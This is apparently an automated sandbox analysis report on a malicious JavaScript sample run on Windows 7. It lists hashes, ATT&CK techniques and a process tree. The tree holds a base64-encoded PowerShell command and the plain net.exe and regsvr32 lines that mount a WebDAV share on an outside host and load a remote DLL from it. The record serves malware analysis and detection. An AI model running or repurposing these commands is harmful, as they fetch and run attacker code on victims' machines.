6e5c3fb55548ba47c94bda0ead0d360f889ddef72fa339309640cfc34f31a52b

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
25/07/2024, 15:57

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General

Target

213911248442766951.js
Size

19KB
MD5

5c2d257e51e5f6cb4ea13e803c140c6b
SHA1

081f1ae150c216471841da74da846eb1480ae271
SHA256

6e5c3fb55548ba47c94bda0ead0d360f889ddef72fa339309640cfc34f31a52b
SHA512

afe3a87c7e334fe2abb217ee9cf8cb02ccf36fdeeea223da51301d75883bf8b0a703ecfeece1f3ac8334ed135581efc98d033f17a8cfc126d09f05ed2b9ae25b
SSDEEP

384:lDuN6ZVSsdzKGvbPUf5tssFtcD2Yj6gzjNfAvM1PsUK3Z0jZe06iTmVFfKN6YjsW:puYZVSsdzKGvbsf5Pm

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2796	2296	wscript.exe	30
PID 2296 wrote to memory of 2796	2296	wscript.exe	30
PID 2296 wrote to memory of 2796	2296	wscript.exe	30
PID 2796 wrote to memory of 2868	2796	powershell.exe	32
PID 2796 wrote to memory of 2868	2796	powershell.exe	32
PID 2796 wrote to memory of 2868	2796	powershell.exe	32
PID 2796 wrote to memory of 2916	2796	powershell.exe	33
PID 2796 wrote to memory of 2916	2796	powershell.exe	33
PID 2796 wrote to memory of 2916	2796	powershell.exe	33
PID 2796 wrote to memory of 2916	2796	powershell.exe	33
PID 2796 wrote to memory of 2916	2796	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\213911248442766951.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA5ADEANwA2ADEAMgAwADcANQAxADEAMAA1ADEALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2868
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\91761207511051.dll
    3⤵
    PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2796-4-0x000007FEF650E000-0x000007FEF650F000-memory.dmp

Filesize
4KB

Download
memory/2796-7-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2796-6-0x0000000002AF0000-0x0000000002AF8000-memory.dmp

Filesize
32KB

Download
memory/2796-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2796-8-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2796-9-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2796-10-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download
memory/2796-11-0x000007FEF6250000-0x000007FEF6BED000-memory.dmp

Filesize
9.6MB

Download